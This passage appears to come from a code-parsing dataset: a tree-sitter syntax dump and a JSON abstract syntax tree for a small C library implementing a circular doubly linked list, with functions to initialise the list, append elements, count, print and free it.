*list" (type_identifier) "linked_list" (pointer_declarator) "*list" (*) "*" (identifier) "list" ()) ")" (compound_statement) "{\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n/* linked_list *iterator;\n int counter;\n\n counter = 0;\n iterator = list->next;\n\n while (iterator != list) {\n counter++;\n iterator = iterator->next;\n }\n\n return counter; */\n\n return *((int*) list->data);\n}" ({) "{" (if_statement) "if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }" (if) "if" (parenthesized_expression) "(list == NULL)" (() "(" (binary_expression) "list == NULL" (identifier) "list" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }" ({) "{" (expression_statement) "DL_INVALID_ARGS_MSG;" (identifier) "DL_INVALID_ARGS_MSG" (;) ";" (return_statement) "return DL_ERROR_SIGNAL;" (return) "return" (identifier) "DL_ERROR_SIGNAL" (;) ";" (}) "}" (comment) "/* linked_list *iterator;\n int counter;\n\n counter = 0;\n iterator = list->next;\n\n while (iterator != list) {\n counter++;\n iterator = iterator->next;\n }\n\n return counter; */" (return_statement) "return *((int*) list->data);" (return) "return" (pointer_expression) "*((int*) list->data)" (*) "*" (parenthesized_expression) "((int*) list->data)" (() "(" (cast_expression) "(int*) list->data" (() "(" (type_descriptor) "int*" (primitive_type) "int" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (field_expression) "list->data" (identifier) "list" (->) "->" (field_identifier) "data" ()) ")" (;) ";" (}) "}" (comment) "/* \n * Makes a string containing all pointers to the element data \n * in the linked list. This hopefully gives some insight into \n * the contents of the linked list. \n */" (function_definition) "void list_dump(const linked_list *list) {\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return; \n }\n\n linked_list *iterator;\n \n iterator = list->next;\n \n printf("[");\n while(list != iterator) {\n if (iterator->next == list) {\n printf("%p",iterator->data);\n } else {\n printf("%p,",iterator->data);\n }\n iterator = iterator->next;\n }\n printf("]\n");\n}" (primitive_type) "void" (function_declarator) "list_dump(const linked_list *list)" (identifier) "list_dump" (parameter_list) "(const linked_list *list)" (() "(" (parameter_declaration) "const linked_list *list" (type_qualifier) "const" (const) "const" (type_identifier) "linked_list" (pointer_declarator) "*list" (*) "*" (identifier) "list" ()) ")" (compound_statement) "{\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return; \n }\n\n linked_list *iterator;\n \n iterator = list->next;\n \n printf("[");\n while(list != iterator) {\n if (iterator->next == list) {\n printf("%p",iterator->data);\n } else {\n printf("%p,",iterator->data);\n }\n iterator = iterator->next;\n }\n printf("]\n");\n}" ({) "{" (if_statement) "if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return; \n }" (if) "if" (parenthesized_expression) "(list == NULL)" (() "(" (binary_expression) "list == NULL" (identifier) "list" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_INVALID_ARGS_MSG;\n return; \n }" ({) "{" (expression_statement) "DL_INVALID_ARGS_MSG;" (identifier) "DL_INVALID_ARGS_MSG" (;) ";" (return_statement) "return;" (return) "return" (;) ";" (}) "}" (declaration) "linked_list *iterator;" (type_identifier) "linked_list" (pointer_declarator) "*iterator" (*) "*" (identifier) "iterator" (;) ";" (expression_statement) "iterator = list->next;" (assignment_expression) "iterator = list->next" (identifier) "iterator" (=) "=" (field_expression) "list->next" (identifier) "list" (->) "->" (field_identifier) "next" (;) ";" (expression_statement) "printf("[");" (call_expression) "printf("[")" (identifier) "printf" (argument_list) "("[")" (() "(" (string_literal) ""["" (") """ (string_content) "[" (") """ ()) ")" (;) ";" (while_statement) "while(list != iterator) {\n if (iterator->next == list) {\n printf("%p",iterator->data);\n } else {\n printf("%p,",iterator->data);\n }\n iterator = iterator->next;\n }" (while) "while" (parenthesized_expression) "(list != iterator)" (() "(" (binary_expression) "list != iterator" (identifier) "list" (!=) "!=" (identifier) "iterator" ()) ")" (compound_statement) "{\n if (iterator->next == list) {\n printf("%p",iterator->data);\n } else {\n printf("%p,",iterator->data);\n }\n iterator = iterator->next;\n }" ({) "{" (if_statement) "if (iterator->next == list) {\n printf("%p",iterator->data);\n } else {\n printf("%p,",iterator->data);\n }" (if) "if" (parenthesized_expression) "(iterator->next == list)" (() "(" (binary_expression) "iterator->next == list" (field_expression) "iterator->next" (identifier) "iterator" (->) "->" (field_identifier) "next" (==) "==" (identifier) "list" ()) ")" (compound_statement) "{\n printf("%p",iterator->data);\n }" ({) "{" (expression_statement) "printf("%p",iterator->data);" (call_expression) "printf("%p",iterator->data)" (identifier) "printf" (argument_list) "("%p",iterator->data)" (() "(" (string_literal) ""%p"" (") """ (string_content) "%p" (") """ (,) "," (field_expression) "iterator->data" (identifier) "iterator" (->) "->" (field_identifier) "data" ()) ")" (;) ";" (}) "}" (else_clause) "else {\n printf("%p,",iterator->data);\n }" (else) "else" (compound_statement) "{\n printf("%p,",iterator->data);\n }" ({) "{" (expression_statement) "printf("%p,",iterator->data);" (call_expression) "printf("%p,",iterator->data)" (identifier) "printf" (argument_list) "("%p,",iterator->data)" (() "(" (string_literal) ""%p,"" (") """ (string_content) "%p," (") """ (,) "," (field_expression) "iterator->data" (identifier) "iterator" (->) "->" (field_identifier) "data" ()) ")" (;) ";" (}) "}" (expression_statement) "iterator = iterator->next;" (assignment_expression) "iterator = iterator->next" (identifier) "iterator" (=) "=" (field_expression) "iterator->next" (identifier) "iterator" (->) "->" (field_identifier) "next" (;) ";" (}) "}" (expression_statement) "printf("]\n");" (call_expression) "printf("]\n")" (identifier) "printf" (argument_list) "("]\n")" (() "(" (string_literal) ""]\n"" (") """ (string_content) "]" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (}) "}" (comment) "/*\n * Deallocates all the nodes in the whole list\n */" (function_definition) "void terminate_list(linked_list **list) {\n if (list == NULL || *list == NULL) {\n DL_INVALID_ARGS_MSG;\n return; \n }\n\n linked_list *iterator;\n linked_list *placeholder;\n\n iterator = (*list)->next;\n while (iterator != (*list)) {\n placeholder = iterator->next;\n free(iterator);\n iterator = placeholder;\n }\n free(*list);\n *list = NULL;\n}" (primitive_type) "void" (function_declarator) "terminate_list(linked_list **list)" (identifier) "terminate_list" (parameter_list) "(linked_list **list)" (() "(" (parameter_declaration) "linked_list **list" (type_identifier) "linked_list" (pointer_declarator) "**list" (*) "*" (pointer_declarator) "*list" (*) "*" (identifier) "list" ()) ")" (compound_statement) "{\n if (list == NULL || *list == NULL) {\n DL_INVALID_ARGS_MSG;\n return; \n }\n\n linked_list *iterator;\n linked_list *placeholder;\n\n iterator = (*list)->next;\n while (iterator != (*list)) {\n placeholder = iterator->next;\n free(iterator);\n iterator = placeholder;\n }\n free(*list);\n *list = NULL;\n}" ({) "{" (if_statement) "if (list == NULL || *list == NULL) {\n DL_INVALID_ARGS_MSG;\n return; \n }" (if) "if" (parenthesized_expression) "(list == NULL || *list == NULL)" (() "(" (binary_expression) "list == NULL || *list == NULL" (binary_expression) "list == NULL" (identifier) "list" (==) "==" (null) "NULL" (NULL) "NULL" (||) "||" (binary_expression) "*list == NULL" (pointer_expression) "*list" (*) "*" (identifier) "list" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_INVALID_ARGS_MSG;\n return; \n }" ({) "{" (expression_statement) "DL_INVALID_ARGS_MSG;" (identifier) "DL_INVALID_ARGS_MSG" (;) ";" (return_statement) "return;" (return) "return" (;) ";" (}) "}" (declaration) "linked_list *iterator;" (type_identifier) "linked_list" (pointer_declarator) "*iterator" (*) "*" (identifier) "iterator" (;) ";" (declaration) "linked_list *placeholder;" (type_identifier) "linked_list" (pointer_declarator) "*placeholder" (*) "*" (identifier) "placeholder" (;) ";" (expression_statement) "iterator = (*list)->next;" (assignment_expression) "iterator = (*list)->next" (identifier) "iterator" (=) "=" (field_expression) "(*list)->next" (parenthesized_expression) "(*list)" (() "(" (pointer_expression) "*list" (*) "*" (identifier) "list" ()) ")" (->) "->" (field_identifier) "next" (;) ";" (while_statement) "while (iterator != (*list)) {\n placeholder = iterator->next;\n free(iterator);\n iterator = placeholder;\n }" (while) "while" (parenthesized_expression) "(iterator != (*list))" (() "(" (binary_expression) "iterator != (*list)" (identifier) "iterator" (!=) "!=" (parenthesized_expression) "(*list)" (() "(" (pointer_expression) "*list" (*) "*" (identifier) "list" ()) ")" ()) ")" (compound_statement) "{\n placeholder = iterator->next;\n free(iterator);\n iterator = placeholder;\n }" ({) "{" (expression_statement) "placeholder = iterator->next;" (assignment_expression) "placeholder = iterator->next" (identifier) "placeholder" (=) "=" (field_expression) "iterator->next" (identifier) "iterator" (->) "->" (field_identifier) "next" (;) ";" (expression_statement) "free(iterator);" (call_expression) "free(iterator)" (identifier) "free" (argument_list) "(iterator)" (() "(" (identifier) "iterator" ()) ")" (;) ";" (expression_statement) "iterator = placeholder;" (assignment_expression) "iterator = placeholder" (identifier) "iterator" (=) "=" (identifier) "placeholder" (;) ";" (}) "}" (expression_statement) "free(*list);" (call_expression) "free(*list)" (identifier) "free" (argument_list) "(*list)" (() "(" (pointer_expression) "*list" (*) "*" (identifier) "list" ()) ")" (;) ";" (expression_statement) "*list = NULL;" (assignment_expression) "*list = NULL" (pointer_expression) "*list" (*) "*" (identifier) "list" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}"
1,364
0
{"language": "c", "success": true, "metadata": {"lines": 234, "avg_line_length": 22.89, "nodes": 827, "errors": 0, "source_hash": "b76f62d0c7dbcded9f98ae72a8b06340bafd33187f952f5a284587ffc9940960", "categorized_nodes": 567}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include <stdlib.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<stdlib.h>", "parent": 0, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 19}}, {"id": 3, "type": "preproc_include", "text": "#include \"dlinkedlist.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"dlinkedlist.h\"", "parent": 3, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 24}}, {"id": 6, "type": "function_definition", "text": "linked_list *initialize_list() {\n\tlinked_list *new_list;\n\tint *initial_length;\n\tnew_list = malloc( sizeof(linked_list) );\n\n\tif (new_list == NULL) {\n\t\tDL_OUT_OF_MEM_MSG;\n\t\treturn NULL;\t\n\t}\n\tinitial_length = calloc(1, sizeof(int));\n\n\tnew_list->next = new_list;\n\tnew_list->previous = new_list;\n\tnew_list->data = (void *) initial_length;\n\n\treturn new_list;\n}", "parent": null, "children": [7, 8], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 30, "column": 1}}, {"id": 7, "type": "type_identifier", "text": "linked_list", "parent": 6, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 11}}, {"id": 8, "type": "pointer_declarator", "text": "*initialize_list()", "parent": 6, "children": [9, 10], "start_point": {"row": 14, "column": 12}, "end_point": {"row": 14, "column": 30}}, {"id": 9, "type": "*", "text": "*", "parent": 8, "children": [], "start_point": {"row": 14, "column": 12}, "end_point": {"row": 14, "column": 13}}, {"id": 10, "type": "function_declarator", "text": "initialize_list()", "parent": 8, "children": [11, 12], "start_point": {"row": 14, "column": 13}, "end_point": {"row": 14, "column": 30}}, {"id": 11, "type": "identifier", "text": "initialize_list", "parent": 10, "children": [], "start_point": {"row": 14, "column": 13}, "end_point": {"row": 14, "column": 28}}, {"id": 12, "type": "parameter_list", "text": "()", "parent": 10, "children": [], "start_point": {"row": 14, "column": 28}, "end_point": {"row": 14, "column": 30}}, {"id": 13, "type": "declaration", "text": "linked_list *new_list;", "parent": 6, "children": [14, 15], "start_point": {"row": 15, "column": 1}, "end_point": {"row": 15, "column": 23}}, {"id": 14, "type": "type_identifier", "text": "linked_list", "parent": 13, "children": [], "start_point": {"row": 15, "column": 1}, "end_point": {"row": 15, "column": 12}}, {"id": 15, "type": "pointer_declarator", "text": "*new_list", "parent": 13, "children": [16, 17], "start_point": {"row": 15, "column": 13}, "end_point": {"row": 15, "column": 22}}, {"id": 16, "type": "*", "text": "*", "parent": 15, "children": [], "start_point": {"row": 15, "column": 13}, "end_point": {"row": 15, "column": 14}}, {"id": 17, "type": "identifier", "text": "new_list", "parent": 15, "children": [], "start_point": {"row": 15, "column": 14}, "end_point": {"row": 15, "column": 22}}, {"id": 18, "type": "declaration", "text": "int *initial_length;", "parent": 6, "children": [19, 20], "start_point": {"row": 16, "column": 1}, "end_point": {"row": 16, "column": 21}}, {"id": 19, "type": "primitive_type", "text": "int", "parent": 18, "children": [], "start_point": {"row": 16, "column": 1}, "end_point": {"row": 16, "column": 4}}, {"id": 20, "type": "pointer_declarator", "text": "*initial_length", "parent": 18, "children": [21, 22], "start_point": {"row": 16, "column": 5}, "end_point": {"row": 16, "column": 20}}, {"id": 21, "type": "*", "text": "*", "parent": 20, "children": [], "start_point": {"row": 16, "column": 5}, "end_point": {"row": 16, "column": 6}}, {"id": 22, "type": "identifier", "text": "initial_length", "parent": 20, "children": [], "start_point": {"row": 16, "column": 6}, "end_point": {"row": 16, "column": 20}}, {"id": 23, "type": "assignment_expression", "text": "new_list = malloc( sizeof(linked_list) )", "parent": 6, "children": [24, 25, 26], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 41}}, {"id": 24, "type": "identifier", "text": "new_list", "parent": 23, "children": [], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 9}}, {"id": 25, "type": "=", "text": "=", "parent": 23, "children": [], "start_point": {"row": 17, "column": 10}, "end_point": {"row": 17, "column": 11}}, {"id": 26, "type": "call_expression", "text": "malloc( sizeof(linked_list) )", "parent": 23, "children": [27, 28], "start_point": {"row": 17, "column": 12}, "end_point": {"row": 17, "column": 41}}, {"id": 27, "type": "identifier", "text": "malloc", "parent": 26, "children": [], "start_point": {"row": 17, "column": 12}, "end_point": {"row": 17, "column": 18}}, {"id": 28, "type": "argument_list", "text": "( sizeof(linked_list) )", "parent": 26, "children": [29], "start_point": {"row": 17, "column": 18}, "end_point": {"row": 17, "column": 41}}, {"id": 29, "type": "sizeof_expression", "text": "sizeof(linked_list)", "parent": 28, "children": [30], "start_point": {"row": 17, "column": 20}, "end_point": {"row": 17, "column": 39}}, {"id": 30, "type": "parenthesized_expression", "text": "(linked_list)", "parent": 29, "children": [31], "start_point": {"row": 17, "column": 26}, "end_point": {"row": 17, "column": 39}}, {"id": 31, "type": "identifier", "text": "linked_list", "parent": 30, "children": [], "start_point": {"row": 17, "column": 27}, "end_point": {"row": 17, "column": 38}}, {"id": 32, "type": "if_statement", "text": "if (new_list == NULL) {\n\t\tDL_OUT_OF_MEM_MSG;\n\t\treturn NULL;\t\n\t}", "parent": 6, "children": [33], "start_point": {"row": 19, "column": 1}, "end_point": {"row": 22, "column": 2}}, {"id": 33, "type": "parenthesized_expression", "text": "(new_list == NULL)", "parent": 32, "children": [34], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 22}}, {"id": 34, "type": "binary_expression", "text": "new_list == NULL", "parent": 33, "children": [35, 36, 37], "start_point": {"row": 19, "column": 5}, "end_point": {"row": 19, "column": 21}}, {"id": 35, "type": "identifier", "text": "new_list", "parent": 34, "children": [], "start_point": {"row": 19, "column": 5}, "end_point": {"row": 19, "column": 13}}, {"id": 36, "type": "==", "text": "==", "parent": 34, "children": [], "start_point": {"row": 19, "column": 14}, "end_point": {"row": 19, "column": 16}}, {"id": 37, "type": "null", "text": "NULL", "parent": 34, "children": [38], "start_point": {"row": 19, "column": 17}, "end_point": {"row": 19, "column": 21}}, {"id": 38, "type": "NULL", "text": "NULL", "parent": 37, "children": [], "start_point": {"row": 19, "column": 17}, "end_point": {"row": 19, "column": 21}}, {"id": 39, "type": "identifier", "text": "DL_OUT_OF_MEM_MSG", "parent": 32, "children": [], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 19}}, {"id": 40, "type": "return_statement", "text": "return NULL;", "parent": 32, "children": [41], "start_point": {"row": 21, "column": 2}, "end_point": {"row": 21, "column": 14}}, {"id": 41, "type": "null", "text": "NULL", "parent": 40, "children": [42], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 13}}, {"id": 42, "type": "NULL", "text": "NULL", "parent": 41, "children": [], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 13}}, {"id": 43, "type": "assignment_expression", "text": "initial_length = calloc(1, sizeof(int))", "parent": 6, "children": [44, 45, 46], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 40}}, {"id": 44, "type": "identifier", "text": "initial_length", "parent": 43, "children": [], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 15}}, {"id": 45, "type": "=", "text": "=", "parent": 43, "children": [], "start_point": {"row": 23, "column": 16}, "end_point": {"row": 23, "column": 17}}, {"id": 46, "type": "call_expression", "text": "calloc(1, sizeof(int))", "parent": 43, "children": [47, 48], "start_point": {"row": 23, "column": 18}, "end_point": {"row": 23, "column": 40}}, {"id": 47, "type": "identifier", "text": "calloc", "parent": 46, "children": [], "start_point": {"row": 23, "column": 18}, "end_point": {"row": 23, "column": 24}}, {"id": 48, "type": "argument_list", "text": "(1, sizeof(int))", "parent": 46, "children": [49, 50], "start_point": {"row": 23, "column": 24}, "end_point": {"row": 23, "column": 40}}, {"id": 49, "type": "number_literal", "text": "1", "parent": 48, "children": [], "start_point": {"row": 23, "column": 25}, "end_point": {"row": 23, "column": 26}}, {"id": 50, "type": "sizeof_expression", "text": "sizeof(int)", "parent": 48, "children": [51], "start_point": {"row": 23, "column": 28}, "end_point": {"row": 23, "column": 39}}, {"id": 51, "type": "type_descriptor", "text": "int", "parent": 50, "children": [52], "start_point": {"row": 23, "column": 35}, "end_point": {"row": 23, "column": 38}}, {"id": 52, "type": "primitive_type", "text": "int", "parent": 51, "children": [], "start_point": {"row": 23, "column": 35}, "end_point": {"row": 23, "column": 38}}, {"id": 53, "type": "assignment_expression", "text": "new_list->next = new_list", "parent": 6, "children": [54, 57, 58], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 26}}, {"id": 54, "type": "field_expression", "text": "new_list->next", "parent": 53, "children": [55, 56], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 15}}, {"id": 55, "type": "identifier", "text": "new_list", "parent": 54, "children": [], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 9}}, {"id": 56, "type": "field_identifier", "text": "next", "parent": 54, "children": [], "start_point": {"row": 25, "column": 11}, "end_point": {"row": 25, "column": 15}}, {"id": 57, "type": "=", "text": "=", "parent": 53, "children": [], "start_point": {"row": 25, "column": 16}, "end_point": {"row": 25, "column": 17}}, {"id": 58, "type": "identifier", "text": "new_list", "parent": 53, "children": [], "start_point": {"row": 25, "column": 18}, "end_point": {"row": 25, "column": 26}}, {"id": 59, "type": "assignment_expression", "text": "new_list->previous = new_list", "parent": 6, "children": [60, 63, 64], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 26, "column": 30}}, {"id": 60, "type": "field_expression", "text": "new_list->previous", "parent": 59, "children": [61, 62], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 26, "column": 19}}, {"id": 61, "type": "identifier", "text": "new_list", "parent": 60, "children": [], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 26, "column": 9}}, {"id": 62, "type": "field_identifier", "text": "previous", "parent": 60, "children": [], "start_point": {"row": 26, "column": 11}, "end_point": {"row": 26, "column": 19}}, {"id": 63, "type": "=", "text": "=", "parent": 59, "children": [], "start_point": {"row": 26, "column": 20}, "end_point": {"row": 26, "column": 21}}, {"id": 64, "type": "identifier", "text": "new_list", "parent": 59, "children": [], "start_point": {"row": 26, "column": 22}, "end_point": {"row": 26, "column": 30}}, {"id": 65, "type": "assignment_expression", "text": "new_list->data = (void *) initial_length", "parent": 6, "children": [66, 69, 70], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 41}}, {"id": 66, "type": "field_expression", "text": "new_list->data", "parent": 65, "children": [67, 68], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 15}}, {"id": 67, "type": "identifier", "text": "new_list", "parent": 66, "children": [], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 9}}, {"id": 68, "type": "field_identifier", "text": "data", "parent": 66, "children": [], "start_point": {"row": 27, "column": 11}, "end_point": {"row": 27, "column": 15}}, {"id": 69, "type": "=", "text": "=", "parent": 65, "children": [], "start_point": {"row": 27, "column": 16}, "end_point": {"row": 27, "column": 17}}, {"id": 70, "type": "cast_expression", "text": "(void *) initial_length", "parent": 65, "children": [71, 75], "start_point": {"row": 27, "column": 18}, "end_point": {"row": 27, "column": 41}}, {"id": 71, "type": "type_descriptor", "text": "void *", "parent": 70, "children": [72, 73], "start_point": {"row": 27, "column": 19}, "end_point": {"row": 27, "column": 25}}, {"id": 72, "type": "primitive_type", "text": "void", "parent": 71, "children": [], "start_point": {"row": 27, "column": 19}, "end_point": {"row": 27, "column": 23}}, {"id": 73, "type": "abstract_pointer_declarator", "text": "*", "parent": 71, "children": [74], "start_point": {"row": 27, "column": 24}, "end_point": {"row": 27, "column": 25}}, {"id": 74, "type": "*", "text": "*", "parent": 73, "children": [], "start_point": {"row": 27, "column": 24}, "end_point": {"row": 27, "column": 25}}, {"id": 75, "type": "identifier", "text": "initial_length", "parent": 70, "children": [], "start_point": {"row": 27, "column": 27}, "end_point": {"row": 27, "column": 41}}, {"id": 76, "type": "return_statement", "text": "return new_list;", "parent": 6, "children": [77], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 17}}, {"id": 77, "type": "identifier", "text": "new_list", "parent": 76, "children": [], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 16}}, {"id": 78, "type": "function_definition", "text": "int append_element(linked_list *list, void *element) {\n\tif (list == NULL || element == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\n\tlinked_list *new_list_element;\n\n\tnew_list_element = malloc( sizeof(linked_list) );\n\t\n\tif (new_list_element == NULL) {\n\t\tDL_OUT_OF_MEM_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\n\tnew_list_element->data = element;\n\n\t*((int*) list->data) += 1;\n\n\t// list->previous is the (old) last element in the list\n\n\tnew_list_element->previous = list->previous;\n\tnew_list_element->next = list;\n\n\tlist->previous->next = new_list_element;\n\tlist->previous = new_list_element;\n\n\treturn DL_SUCCESS_SIGNAL;\n}", "parent": null, "children": [79, 80], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 65, "column": 1}}, {"id": 79, "type": "primitive_type", "text": "int", "parent": 78, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 3}}, {"id": 80, "type": "function_declarator", "text": "append_element(linked_list *list, void *element)", "parent": 78, "children": [81, 82], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 52}}, {"id": 81, "type": "identifier", "text": "append_element", "parent": 80, "children": [], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 18}}, {"id": 82, "type": "parameter_list", "text": "(linked_list *list, void *element)", "parent": 80, "children": [83, 88], "start_point": {"row": 37, "column": 18}, "end_point": {"row": 37, "column": 52}}, {"id": 83, "type": "parameter_declaration", "text": "linked_list *list", "parent": 82, "children": [84, 85], "start_point": {"row": 37, "column": 19}, "end_point": {"row": 37, "column": 36}}, {"id": 84, "type": "type_identifier", "text": "linked_list", "parent": 83, "children": [], "start_point": {"row": 37, "column": 19}, "end_point": {"row": 37, "column": 30}}, {"id": 85, "type": "pointer_declarator", "text": "*list", "parent": 83, "children": [86, 87], "start_point": {"row": 37, "column": 31}, "end_point": {"row": 37, "column": 36}}, {"id": 86, "type": "*", "text": "*", "parent": 85, "children": [], "start_point": {"row": 37, "column": 31}, "end_point": {"row": 37, "column": 32}}, {"id": 87, "type": "identifier", "text": "list", "parent": 85, "children": [], "start_point": {"row": 37, "column": 32}, "end_point": {"row": 37, "column": 36}}, {"id": 88, "type": "parameter_declaration", "text": "void *element", "parent": 82, "children": [89, 90], "start_point": {"row": 37, "column": 38}, "end_point": {"row": 37, "column": 51}}, {"id": 89, "type": "primitive_type", "text": "void", "parent": 88, "children": [], "start_point": {"row": 37, "column": 38}, "end_point": {"row": 37, "column": 42}}, {"id": 90, "type": "pointer_declarator", "text": "*element", "parent": 88, "children": [91, 92], "start_point": {"row": 37, "column": 43}, "end_point": {"row": 37, "column": 51}}, {"id": 91, "type": "*", "text": "*", "parent": 90, "children": [], "start_point": {"row": 37, "column": 43}, "end_point": {"row": 37, "column": 44}}, {"id": 92, "type": "identifier", "text": "element", "parent": 90, "children": [], "start_point": {"row": 37, "column": 44}, "end_point": {"row": 37, "column": 51}}, {"id": 93, "type": "if_statement", "text": "if (list == NULL || element == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}", "parent": 78, "children": [94], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 41, "column": 2}}, {"id": 94, "type": "parenthesized_expression", "text": "(list == NULL || element == NULL)", "parent": 93, "children": [95], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 37}}, {"id": 95, "type": "binary_expression", "text": "list == NULL || element == NULL", "parent": 94, "children": [96, 101, 102], "start_point": {"row": 38, "column": 5}, "end_point": {"row": 38, "column": 36}}, {"id": 96, "type": "binary_expression", "text": "list == NULL", "parent": 95, "children": [97, 98, 99], "start_point": {"row": 38, "column": 5}, "end_point": {"row": 38, "column": 17}}, {"id": 97, "type": "identifier", "text": "list", "parent": 96, "children": [], "start_point": {"row": 38, "column": 5}, "end_point": {"row": 38, "column": 9}}, {"id": 98, "type": "==", "text": "==", "parent": 96, "children": [], "start_point": {"row": 38, "column": 10}, "end_point": {"row": 38, "column": 12}}, {"id": 99, "type": "null", "text": "NULL", "parent": 96, "children": [100], "start_point": {"row": 38, "column": 13}, "end_point": {"row": 38, "column": 17}}, {"id": 100, "type": "NULL", "text": "NULL", "parent": 99, "children": [], "start_point": {"row": 38, "column": 13}, "end_point": {"row": 38, "column": 17}}, {"id": 101, "type": "||", "text": "||", "parent": 95, "children": [], "start_point": {"row": 38, "column": 18}, "end_point": {"row": 38, "column": 20}}, {"id": 102, "type": "binary_expression", "text": "element == NULL", "parent": 95, "children": [103, 104, 105], "start_point": {"row": 38, "column": 21}, "end_point": {"row": 38, "column": 36}}, {"id": 103, "type": "identifier", "text": "element", "parent": 102, "children": [], "start_point": {"row": 38, "column": 21}, "end_point": {"row": 38, "column": 28}}, {"id": 104, "type": "==", "text": "==", "parent": 102, "children": [], "start_point": {"row": 38, "column": 29}, "end_point": {"row": 38, "column": 31}}, {"id": 105, "type": "null", "text": "NULL", "parent": 102, "children": [106], "start_point": {"row": 38, "column": 32}, "end_point": {"row": 38, "column": 36}}, {"id": 106, "type": "NULL", "text": "NULL", "parent": 105, "children": [], "start_point": {"row": 38, "column": 32}, "end_point": {"row": 38, "column": 36}}, {"id": 107, "type": "identifier", "text": "DL_INVALID_ARGS_MSG", "parent": 93, "children": [], "start_point": {"row": 39, "column": 2}, "end_point": {"row": 39, "column": 21}}, {"id": 108, "type": "return_statement", "text": "return DL_ERROR_SIGNAL;", "parent": 93, "children": [109], "start_point": {"row": 40, "column": 2}, "end_point": {"row": 40, "column": 25}}, {"id": 109, "type": "identifier", "text": "DL_ERROR_SIGNAL", "parent": 108, "children": [], "start_point": {"row": 40, "column": 9}, "end_point": {"row": 40, "column": 24}}, {"id": 110, "type": "declaration", "text": "linked_list *new_list_element;", "parent": 78, "children": [111, 112], "start_point": {"row": 43, "column": 1}, "end_point": {"row": 43, "column": 31}}, {"id": 111, "type": "type_identifier", "text": "linked_list", "parent": 110, "children": [], "start_point": {"row": 43, "column": 1}, "end_point": {"row": 43, "column": 12}}, {"id": 112, "type": "pointer_declarator", "text": "*new_list_element", "parent": 110, "children": [113, 114], "start_point": {"row": 43, "column": 13}, "end_point": {"row": 43, "column": 30}}, {"id": 113, "type": "*", "text": "*", "parent": 112, "children": [], "start_point": {"row": 43, "column": 13}, "end_point": {"row": 43, "column": 14}}, {"id": 114, "type": "identifier", "text": "new_list_element", "parent": 112, "children": [], "start_point": {"row": 43, "column": 14}, "end_point": {"row": 43, "column": 30}}, {"id": 115, "type": "assignment_expression", "text": "new_list_element = malloc( sizeof(linked_list) )", "parent": 78, "children": [116, 117, 118], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 49}}, {"id": 116, "type": "identifier", "text": "new_list_element", "parent": 115, "children": [], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 17}}, {"id": 117, "type": "=", "text": "=", "parent": 115, "children": [], "start_point": {"row": 45, "column": 18}, "end_point": {"row": 45, "column": 19}}, {"id": 118, "type": "call_expression", "text": "malloc( sizeof(linked_list) )", "parent": 115, "children": [119, 120], "start_point": {"row": 45, "column": 20}, "end_point": {"row": 45, "column": 49}}, {"id": 119, "type": "identifier", "text": "malloc", "parent": 118, "children": [], 